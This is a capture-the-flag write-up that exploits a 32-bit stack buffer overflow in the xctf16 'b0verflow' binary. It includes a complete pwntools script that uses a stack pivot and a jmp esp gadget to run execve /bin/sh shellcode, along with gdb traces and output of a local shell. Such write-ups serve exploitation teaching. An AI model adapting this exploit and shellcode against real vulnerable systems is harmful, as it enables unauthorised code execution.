xctf16_b0verflow
Let's take a look at the binary:
$ file b0verflow
b0verflow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9f2d9dc0c9cc531c9656e6e84359398dd765b684, not stripped
$ pwn checksec b0verflow
[*] '/Hackery/pod/modules/stack_pivot/xctf16_b0verflow/b0verflow'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
$ ./b0verflow
======================
Welcome to X-CTF 2016!
======================
What's your name?
guyinatuxedo
Hello guyinatuxedo
So we can see that we are dealing with a 32
bit dynamically linked binary, with none of the standard mitigations (and has memory segments with rwx
permissions). When we run it, it prompts us for input, and prints it back to us.
Reversing
When we take a look at the main function in Ghidra, we see this:
void main(void)
{
vul();
return;
}
So we can see that it essentially just calls the vul
function, which does this:
undefined4 vul(void)
{
char vulnBuf [32];
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What\'s your name?");
fflush(stdout);
fgets(vulnBuf,0x32,stdin);
printf("Hello %s.",vulnBuf);
fflush(stdout);
return 1;
}
So we can see that it prints out some text. Then it scans 0x32
(50
) bytes worth of data into a 32
byte buffer, giving us an 18
byte buffer overflow. Proceeding that the function returns.
Stack Pivot Exploit
So we can overwrite the return address (seeing where the start of our input is in comparison to the saved return address is, we can see that the offset is 0x24
bytes since 0xffffd11c - 0xffffd0f8 = 0x24
):
gef➤ b *0x804857a
Breakpoint 1 at 0x804857a
gef➤ r
Starting program: /Hackery/pod/modules/stack_pivot/xctf16_b0verflow/b0verflow
======================
Welcome to X-CTF 2016!
======================
What's your name?
15935728
Breakpoint 1, 0x0804857a in vul ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffd0f8 → "15935728"
$ebx : 0x0
$ecx : 0xf7fb601c → 0x00000000
$edx : 0xffffd0f8 → "15935728"
$esp : 0xffffd0e0 → 0xffffd0f8 → "15935728"
$ebp : 0xffffd118 → 0xffffd128 → 0x00000000
$esi : 0xf7fb4000 → 0x001dbd6c
$edi : 0xf7fb4000 → 0x001dbd6c
$eip : 0x0804857a → <vul+95> lea eax, [ebp-0x20]
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffffd0e0│+0x0000: 0xffffd0f8 → "15935728" ← $esp
0xffffd0e4│+0x0004: 0x00000032 ("2"?)
0xffffd0e8│+0x0008: 0xf7fb45c0 → 0xfbad2288
0xffffd0ec│+0x000c: 0x08048369 → <_init+9> add ebx, 0x1c97
0xffffd0f0│+0x0010: 0xf7fb43fc → 0xf7fb5980 → 0x00000000
0xffffd0f4│+0x0014: 0x00040000
0xffffd0f8│+0x0018: "15935728"
0xffffd0fc│+0x001c: "5728"
─────────────────────────────────────────────────────────────── code:x86:32 ────
0x804856f <vul+84> lea eax, [ebp-0x20]
0x8048572 <vul+87> mov DWORD PTR [esp], eax
0x8048575 <vul+90> call 0x80483c0 <fgets@plt>
→ 0x804857a <vul+95> lea eax, [ebp-0x20]
0x804857d <vul+98> mov DWORD PTR [esp+0x4], eax
0x8048581 <vul+102> mov DWORD PTR [esp], 0x8048682
0x8048588 <vul+109> call 0x80483a0 <printf@plt>
0x804858d <vul+114> mov eax, ds:0x804a060
0x8048592 <vul+119> mov DWORD PTR [esp], eax
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "b0verflow", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804857a → vul()
[#1] 0x8048519 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤ search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x804b000-0x806d000), permission=rwx
0x804b570 - 0x804b578 → "15935728"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
0xffffd0f8 - 0xffffd100 → "15935728"
gef➤ i f
Stack level 0, frame at 0xffffd120:
eip = 0x804857a in vul; saved eip = 0x8048519
called by frame at 0xffffd130
Arglist at 0xffffd118, args:
Locals at 0xffffd118, Previous frame's sp is 0xffffd120
Saved registers:
ebp at 0xffffd118, eip at 0xffffd11c
So the question is, what will we call. PIE isn't enabled, so we can call gadgets from the binary. At the moment we don't have a stack or libc infoleak. The gadgets from the binary won't be enough to pop a shell on it's own, however it will be enough to call shellcode on the stack without a stack infoleak:
Stack pivot gadget:
$ python ROPgadget.py --binary b0verflow | grep "sub esp"
0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
Jmp esp gadget:
$ python ROPgadget.py --binary b0verflow | grep "jmp esp"
0x08048504 : jmp esp
So we will call the Stack pivot gadget first, then the jmp esp
gadget. The stack pivot gadget will move the stack pointer down to our own input. It will leave off by executing the first DWORD of our input as an instruction pointer. That instruction pointer will be the jmp esp
gadget. When that instruction is executed, the esp
pointer will point to the new DWORD, which will be the second 4
bytes of our input. We will store our shellcode there, which will be executed by the jmp esp
gadget. Let's take a look at how these gadgets operate:
We start off with the stack pivot gadget:
0x080484fd in hint ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0x1
$ebx : 0x0
$ecx : 0xf7f2b010 → 0x00000000
$edx : 0x0
$esp : 0xffa29750 → 0x08048504 → <hint+7> jmp esp
$ebp : 0x31313131 ("1111"?)
$esi : 0xf7f29000 → 0x001dbd6c
$edi : 0xf7f29000 → 0x001dbd6c
$eip : 0x080484fd → <hint+0> push ebp
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffa29750│+0x0000: 0x08048504 → <hint+7> jmp esp ← $esp
0xffa29754│+0x0004: 0xf7f2000a → 0x02b00e46
0xffa29758│+0x0008: 0x00000000
0xffa2975c│+0x000c: 0xf7d6b751 → <__libc_start_main+241> add esp, 0x10
0xffa29760│+0x0010: 0x00000001
0xffa29764│+0x0014: 0xffa297f4 → 0xffa2a3e2 → "./b0verflow"
0xffa29768│+0x0018: 0xffa297fc → 0xffa2a3ee → "GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/7[...]"
0xffa2976c│+0x001c: 0xffa29784 → 0x00000000
─────────────────────────────────────────────────────────────── code:x86:32 ────
0x80484f2 <frame_dummy+34> jmp 0x8048470 <register_tm_clones>
0x80484f7 <frame_dummy+39> nop
0x80484f8 <frame_dummy+40> jmp 0x8048470 <register_tm_clones>
→ 0x80484fd <hint+0> push ebp
0x80484fe <hint+1> mov ebp, esp
0x8048500 <hint+3> sub esp, 0x24
0x8048503 <hint+6> ret
0x8048504 <hint+7> jmp esp
0x8048506 <hint+9> ret
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "b0verflow", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80484fd → hint()
[#1] 0x8048504 → hint()
────────────────────────────────────────────────────────────────────────────────
gef➤ p $esp
$1 = (void *) 0xffa29750
We can see that the esp
register is equal to 0xffa29750
. We can see that it decrements the value of the esp
register by 0x28
(0x24
from the sub, 0x4
from the pop):
0x08048503 in hint ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0x1
$ebx : 0x0
$ecx : 0xf7f2b010 → 0x00000000
$edx : 0x0
$esp : 0xffa29728 → 0x08048504 → <hint+7> jmp esp
$ebp : 0xffa2974c → 0x31313131 ("1111"?)
$esi : 0xf7f29000 → 0x001dbd6c
$edi : 0xf7f29000 → 0x001dbd6c
$eip : 0x08048503 → <hint+6> ret
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffa29728│+0x0000: 0x08048504 → <hint+7> jmp esp ← $esp
0xffa2972c│+0x0004: 0x6850c031
0xffa29730│+0x0008: 0x68732f2f
0xffa29734│+0x000c: 0x69622f68
0xffa29738│+0x0010: 0x50e3896e
0xffa2973c│+0x0014: 0xb0e18953
0xffa29740│+0x0018: 0x3180cd0b
0xffa29744│+0x001c: 0x31313131
─────────────────────────────────────────────────────────────── code:x86:32 ────
0x80484fd <hint+0> push ebp
0x80484fe <hint+1> mov ebp, esp
0x8048500 <hint+3> sub esp, 0x24
→ 0x8048503 <hint+6> ret
↳ 0x8048504 <hint+7> jmp esp
0x8048506 <hint+9> ret
0x8048507 <hint+10> mov eax, 0x1
0x804850c <hint+15> pop ebp
0x804850d <hint+16> ret
0x804850e <main+0> push ebp
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "b0verflow", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048503 → hint()
[#1] 0x8048504 → hint()
[#2] 0x8048504 → hint()
────────────────────────────────────────────────────────────────────────────────
gef➤ p $esp
$2 = (void *) 0xffa29728
gef➤ x/w 0xffa29728
0xffa29728: 0x8048504
gef➤ x/2i 0x8048504
=> 0x8048504 <hint+7>: jmp esp
0x8048506 <hint+9>: ret
We can see that esp
points to our jump esp
gadget at the start of our input.
0x08048504 in hint ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0x1
$ebx : 0x0
$ecx : 0xf7f2b010 → 0x00000000
$edx : 0x0
$esp : 0xffa2972c → 0x6850c031
$ebp : 0xffa2974c → 0x31313131 ("1111"?)
$esi : 0xf7f29000 → 0x001dbd6c
$edi : 0xf7f29000 → 0x001dbd6c
$eip : 0x08048504 → <hint+7> jmp esp
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffa2972c│+0x0000: 0x6850c031 ← $esp
0xffa29730│+0x0004: 0x68732f2f
0xffa29734│+0x0008: 0x69622f68
0xffa29738│+0x000c: 0x50e3896e
0xffa2973c│+0x0010: 0xb0e18953
0xffa29740│+0x0014: 0x3180cd0b
0xffa29744│+0x0018: 0x31313131
0xffa29748│+0x001c: 0x31313131
─────────────────────────────────────────────────────────────── code:x86:32 ────
0x80484fe <hint+1> mov ebp, esp
0x8048500 <hint+3> sub esp, 0x24
0x8048503 <hint+6> ret
→ 0x8048504 <hint+7> jmp esp
0x8048506 <hint+9> ret
0x8048507 <hint+10> mov eax, 0x1
0x804850c <hint+15> pop ebp
0x804850d <hint+16> ret
0x804850e <main+0> push ebp
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "b0verflow", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048504 → hint()
[#1] 0x8048504 → hint()
────────────────────────────────────────────────────────────────────────────────
gef➤ p $esp
$4 = (void *) 0xffa2972c
gef➤ x/10i 0xffa2972c
0xffa2972c: xor eax,eax
0xffa2972e: push eax
0xffa2972f: push 0x68732f2f
0xffa29734: push 0x6e69622f
0xffa29739: mov ebx,esp
0xffa2973b: push eax
0xffa2973c: push ebx
0xffa2973d: mov ecx,esp
0xffa2973f: mov al,0xb
0xffa29741: int 0x80
We can see that when the jmp esp
gadget is ran, esp
points to our shellcode (which is stored right after the jmp esp
gadget). With that, our shellcode is executed and we get a shell. Also I did not write the shellcode myself, I got it from http://shell-storm.org/shellcode/files/shellcode-827.php
.
Exploit
Putting it all together, we have the following exploit:
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
When we run the exploit:
$ python exploit.py
[+] Starting local process './b0verflow': pid 18753
[*] Switching to interactive mode
======================
Welcome to X-CTF 2016!
======================
What's your name?
Hello \x04\x85\x01�Ph//shh/bin\x89�PS\x89�
111111111��
.$ w
01:25:14 up 11:10, 1 user, load average: 1.04, 1.27, 1.35
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
guyinatu :0 :0 14:15 ?xdm? 42:41 0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
$ ls
ROPgadget.py b0verflow core exploit.py readme.md
Just like that, we popped a shell!